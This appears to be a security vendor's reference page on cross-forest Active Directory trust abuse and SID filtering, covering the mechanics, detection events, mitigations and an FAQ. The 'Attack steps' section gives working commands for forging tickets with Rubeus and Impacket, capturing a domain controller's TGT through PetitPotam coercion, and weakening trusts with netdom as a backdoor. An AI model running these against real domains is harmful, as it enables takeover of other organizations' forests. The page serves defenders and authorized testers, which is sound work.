1. Resources
  2. Identity Threats
  3. Active Directory

Cross-Forest Trust Abuse and SID Filtering

Also known as: Forest trust abuse, External trust abuse, SID filtering bypass, Cross-forest SID history, Trust hopping

An attacker who controls one forest uses a trust with weak SID filtering, TGT delegation, foreign group memberships or open authentication to reach resources and privileges in the other forest.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
High
Detection difficulty
Medium
Privileges required: Tier 0 or tenant admin
Control of a domain on the trusted side of a forest or external trust (Domain Admin, its krbtgt key or the trust key). Foreign group memberships need only the member account.
What the attacker gains
Access to resources in the trusting forest, up to control of it when filtered SIDs, delegated TGTs or privileged foreign memberships cross the trust.
Threat groups
AkiraBlackByteChimeraEarth LuscaFIN8Lotus BlossomMagic HoundMirrorFaceScattered SpiderStorm-0501Storm-1811Groups that MITRE ATT&CK records using T1134.005, T1558, T1484.002, T1482.

How it works

A trust lets one domain accept authentication that another domain performed. If partner.example.net trusts corp.example.com, users of corp can authenticate to services in partner. Seen from partner the trust is outbound; seen from corp it is inbound. The direction of trust and the direction of access are opposite, so always state which side is trusting.

Two kinds of trust cross a forest boundary:

  • An external trust joins two specific domains and is not transitive. It does not extend to other domains of either forest.
  • A forest trust joins two forest root domains and routes authentication for every domain in both forests, according to name suffix routing. Two forest trusts that share a middle forest do not chain into a three-forest trust.

When a corp user asks for a service in partner, the corp domain controller issues a referral ticket encrypted with the inter-realm trust key. The user presents it to a partner domain controller, which issues the service ticket. The referral carries the user's PAC: the user SID, group SIDs, and any extra SIDs such as sIDHistory values. See Kerberos authentication.

The partner domain controller does not accept that PAC as is. It applies SID filtering according to the type of boundary:

Boundary What is removed by default
Inside a forest Nothing that another domain of the same forest issued. This is why a child domain can escalate to the forest root; see child to parent trust escalation.
Forest trust SIDs that belong to the trusting forest's own domains, the well-known privileged RIDs below 1000 (such as 512 and 519), and the Enterprise Domain Controllers SID (S-1-5-9). SIDs from the trusted forest's domains pass.
External trust with quarantine Every SID that is not from the directly trusted domain.
External trust without quarantine Privileged RIDs below 1000 and S-1-5-9 are still filtered, but SIDs with a RID of 1000 or higher from other domains pass.

Because of this, compromise of the trusted forest does not automatically give the trusting forest away. The attacks on this page are the ways it still can:

  • SID history allowed across the trust. A forest trust can be told to accept SID history (netdom ... /enablesidhistory:yes), and an external trust can have quarantine turned off. Either is common during a migration and often never reverted. An attacker who controls the trusted domain then forges a ticket with an extra SID from the trusting forest. RIDs below 1000 stay filtered, so the target is a group with a RID of 1000 or higher that has real power: a custom server administrators group, a group with rights over domain controllers' GPOs, an Exchange or a delegated administration group. See SID history injection.
  • TGT delegation across the trust. If a two-way trust allows Kerberos full delegation, a server with unconstrained delegation in one forest (every domain controller is one) receives the TGT of any account from the other forest that authenticates to it. Coercing the other forest's domain controller to authenticate hands over that domain controller's TGT. Microsoft turned TGT delegation across forest trusts off by default in 2019; trusts where it was turned back on are exposed.
  • Foreign group membership. Users and groups of the trusted forest can be members of domain local groups in the trusting forest, where they appear as foreign security principals. If a corp account is a member of an administrative group in partner, compromising that account in corp is enough. No ticket forgery is involved.
  • Open authentication. Without selective authentication, every trusted-forest user is an authenticated user everywhere in the trusting forest and can run every attack that needs "any domain account" there: Kerberoasting, share and LDAP enumeration, AD CS enrollment.
  • The trust account. A trust is represented in the trusted domain by an account named after the trusting domain with a trailing $, whose password is the trust secret. An attacker who controls the trusting domain holds that secret and can authenticate to the trusted domain as that account, with the access of an ordinary domain user, even though the trust gives the trusting side no access by design.
  • Trust modification. An attacker who already controls the trusting domain can weaken or add trusts as a backdoor: turn off quarantine, allow SID history, enable TGT delegation, or create a new trust to a domain they own. A forged referral made with a stolen trust key is covered in forged trust ticket.

Prerequisites

  • For enumeration: any domain account on either side.
  • For SID history across the trust: control of the trusted domain (its krbtgt key or the trust key), a trust that accepts SID history or an external trust without quarantine, and a group in the trusting forest with a RID of 1000 or higher that is worth impersonating.
  • For TGT delegation: a two-way trust with TGT delegation enabled, administrative control of a host with unconstrained delegation on the attacker's side, and a way to coerce authentication from a domain controller on the other side.
  • For foreign membership abuse: the credentials of the member account.
  • For trust modification: Domain Admin rights in the trusting domain (Enterprise Admin for a forest trust).

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Map the trusts and their settings

Any domain user can list trusts and read their attributes:

nltest /domain_trusts /all_trusts /v
Get-ADTrust -Filter * |
    Select-Object Name, Direction, ForestTransitive, IntraForest, SelectiveAuthentication,
                  SIDFilteringQuarantined, SIDFilteringForestAware, TGTDelegation, TrustAttributes

SIDFilteringForestAware set to true on a forest trust means it is treated as external and accepts SID history. SIDFilteringQuarantined set to false on an external trust means quarantine is off. netdom shows the same settings one at a time; run without a value, each switch displays the current state:

netdom trust partner.example.net /domain:corp.example.com /quarantine
netdom trust partner.example.net /domain:corp.example.com /enablesidhistory
netdom trust partner.example.net /domain:corp.example.com /selectiveauth
netdom trust partner.example.net /domain:corp.example.com /enabletgtdelegation

2. Find what already crosses the trust

List principals from other domains that are members of groups in the target domain:

# PowerView: members of partner.example.net groups that come from another domain
Get-DomainForeignGroupMember -Domain partner.example.net

# ActiveDirectory module: foreign security principals and the groups they are in
Get-ADObject -Server partner.example.net -Filter 'objectClass -eq "foreignSecurityPrincipal"' -Properties memberOf |
    Where-Object memberOf | Select-Object Name, memberOf

A foreign principal in an administrative group is a direct path: compromise that account in its home domain and use its access.

To pick a target for SID history, list groups in the trusting domain with a RID of 1000 or higher and administrative rights, and note their SIDs.

3. Carry an extra SID across the trust

With the trusted domain's krbtgt key, forge a TGT that includes the chosen group's SID as an extra SID. The home domain controller copies it into the referral, and a trust that accepts SID history lets it through:

.\Rubeus.exe golden /aes256:<krbtgt AES256 key of corp.example.com> /user:alice /id:1104 `
    /domain:corp.example.com /sid:S-1-5-21-1111111111-2222222222-3333333333 `
    /sids:S-1-5-21-4444444444-5555555555-6666666666-1105 /ptt

dir \\srv01.partner.example.net\c$

/sid is the SID of the attacker's domain, /sids the SID of the group in the trusting forest. With the inter-realm trust key instead of the krbtgt key, Impacket builds the referral directly:

ticketer.py -nthash <trust key> -domain corp.example.com \
    -domain-sid S-1-5-21-1111111111-2222222222-3333333333 \
    -extra-sid S-1-5-21-4444444444-5555555555-6666666666-1105 \
    -spn krbtgt/partner.example.net alice

The result is a referral ticket for the partner realm, which is presented to a partner domain controller to request service tickets. Forged trust ticket covers that exchange in full.

4. Capture a delegated TGT from the other forest

On a host with unconstrained delegation in the attacker's forest (a domain controller of corp qualifies), watch for new TGTs, then coerce a partner domain controller to authenticate to it:

# On DC01.corp.example.com, elevated
.\Rubeus.exe monitor /interval:5 /targetuser:PDC01$ /nowrap
# Listener first (the unconstrained delegation host, by name), then the target
python3 PetitPotam.py -d corp.example.com -u alice -p 'Password1!' dc01.corp.example.com pdc01.partner.example.net

If the trust allows TGT delegation, Rubeus prints the TGT of PDC01$. Injected with Rubeus.exe ptt /ticket:<base64>, it lets the attacker act as that domain controller, which includes replicating the partner domain's secrets (DCSync).

5. Weaken a trust as a backdoor

From the trusting domain, with administrative rights, these changes reopen the paths above:

netdom trust partner.example.net /domain:corp.example.com /quarantine:No
netdom trust partner.example.net /domain:corp.example.com /enablesidhistory:Yes
netdom trust partner.example.net /domain:corp.example.com /enabletgtdelegation:Yes

Impact

The result ranges from a foothold to full control of the second forest:

  • With open authentication only, the attacker becomes an authenticated user in the trusting forest and can start its attack chain from there.
  • With a privileged foreign membership or an accepted extra SID, the attacker gets that group's rights directly. This is privilege escalation across what the organization considered a boundary.
  • With a domain controller's delegated TGT, the attacker replicates every secret in that domain.

Trusts typically connect an acquired company, a partner, a legacy forest or a resource forest to the main environment. The weaker forest is usually the trusted one, so the realistic direction is from the less protected environment into the more valuable one. A modified trust also survives the cleanup of every account the attacker used.

OPSEC and artifacts

  • Enumeration is ordinary LDAP. Reading trusted domain objects and foreign security principals is what management tools do all day and writes no security event by default.
  • A forged ticket is created offline. Nothing is logged in the attacker's domain when it is made. Its use writes event 4769 on a domain controller of the trusting domain for the service ticket request, with the account's home realm in the account name.
  • Filtering is logged where it happens. When the trusting side removes SIDs, its domain controller writes event 4675 with the account, the trust and the list of filtered SIDs. An operator who tests an extra SID against a trust that filters it leaves exactly this record, so careful operators read the trust attributes first and only send SIDs that will pass.
  • An accepted extra SID leaves no filtering event. The service ticket request does not list the PAC's extra SIDs. The trace is the access itself: a corp account using rights in partner that its group memberships do not explain.
  • TGT capture needs coercion. The coerced domain controller connects to a host in the other forest and requests a service ticket for it, which is unusual for a domain controller. The later use of its TGT shows the domain controller's account authenticating from an address that is not the domain controller's.
  • Trust changes are audited. Each netdom change writes event 4716 on the domain controller where it was made, with the new trust attributes. A new trust writes event 4706, a removal event 4707. A change made on one side is recorded on that side only.

Detection

  • Any change to a trust. Trusts change a few times in the life of a forest. Alert on events 4706, 4707 and 4716 from every domain controller and compare the new attributes with the approved design. The domain trust modification rules implement this.
  • SIDs filtered on a trust. Event 4675 that lists a SID from the local forest, or a privileged RID, means someone on the other side asserted a SID they do not own. On a stable trust this should not happen. Audit Logon (success) must be enabled on domain controllers.
  • Foreign accounts using privileged access. Logons on Tier 0 systems, or membership of privileged groups, by principals from another forest. Review the foreign security principals container against an approved list.
  • SID history that points into another forest. sIDHistory values written in the directory are covered by the SID history injection rules and event 4765; values present only in a forged ticket never appear there.
  • Coercion and delegation. The authentication coercion rules cover the trigger, and the unconstrained delegation rules cover new delegation hosts. Domain controller accounts requesting service tickets for hosts in another forest deserve a rule of their own.
// Trust created, removed or modified, and SIDs filtered on a trust
WindowsEvent
| where Channel == "Security" and Provider == "Microsoft-Windows-Security-Auditing"
| where EventID in (4706, 4707, 4716, 4675)
| project TimeGenerated, Computer, EventID, EventData
| order by TimeGenerated asc

Read the whole event payload before naming the actor, and collect from every domain controller in every participating domain: an absence of filtering events means nothing without audit and forwarding coverage on the trusting side.

Mitigation

  • Keep SID filtering in its default state. On every external trust, quarantine on. On every forest trust, SID history off. Where a migration needs SID history, set an end date, move the permissions to current identities, and turn it off again.
  • Keep TGT delegation across forest trusts disabled (/enabletgtdelegation:No), and remove unconstrained delegation from servers that do not need it. Add privileged accounts to Protected Users or mark them as sensitive so their TGTs are never delegated. The Kerberos hardening guide covers these settings.
  • Use selective authentication on trusts to less trusted forests, and grant Allowed to authenticate only on the computers that the business purpose needs. Review that permission on sensitive computers, including inherited entries.
  • Do not put foreign principals in privileged groups. Review domain local group membership and resource ACLs for principals from other forests, and remove stale ones left by finished migrations.
  • Match each trust to its purpose. One-way where access flows one way, external instead of forest when one domain is enough, and removed when the project ends. Give each trust an owner on both sides.
  • Treat the trusted forest's domain controllers as part of your own exposure. Their compromise is the precondition for most of this page. Apply the same tiering to them; see the Active Directory hardening guide.
  • After a suspected compromise of either side, reset the trust password from both ends in addition to the krbtgt resets, because the trust key alone is enough to forge referrals.
  • Audit: enable Audit Authentication Policy Change and Audit Logon on domain controllers in every participating domain so that trust changes and filtered SIDs are recorded.

Detection rules for this attack

Log events to collect

FAQ

Is a forest trust a security boundary?

The forest is the security boundary in Active Directory, and a forest trust is a controlled opening in it. With SID filtering in its default state, TGT delegation off and no privileged foreign memberships, compromise of the trusted forest gives the attacker only what ordinary users of that forest were allowed in the trusting forest. Each relaxation of those settings moves the boundary.

What does SID filtering block across a forest trust?

The trusting side removes SIDs that the trusted forest has no authority to assert. Across a forest trust, that means SIDs belonging to the trusting forest's own domains, and well-known privileged groups such as Domain Admins (RID 512) and Enterprise Admins (RID 519). An extra SID injected into a ticket is dropped unless the trust was configured to allow SID history.

What does enabling SID history on a forest trust change?

It tells the trusting forest to accept SIDs from other domains in the user's ticket, which is what a migration needs. After that, an attacker who controls the trusted forest can add the SID of a group in the trusting forest with a RID of 1000 or higher to a forged ticket and receive that group's access. Built-in groups with RIDs below 1000 are still filtered.

How does selective authentication help?

Without it, every user of the trusted forest is treated as an authenticated user on every computer of the trusting forest. With selective authentication, a trusted-forest user can authenticate only to computers where they were granted the Allowed to authenticate permission. It limits which hosts are reachable; it does not replace SID filtering or resource permissions.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.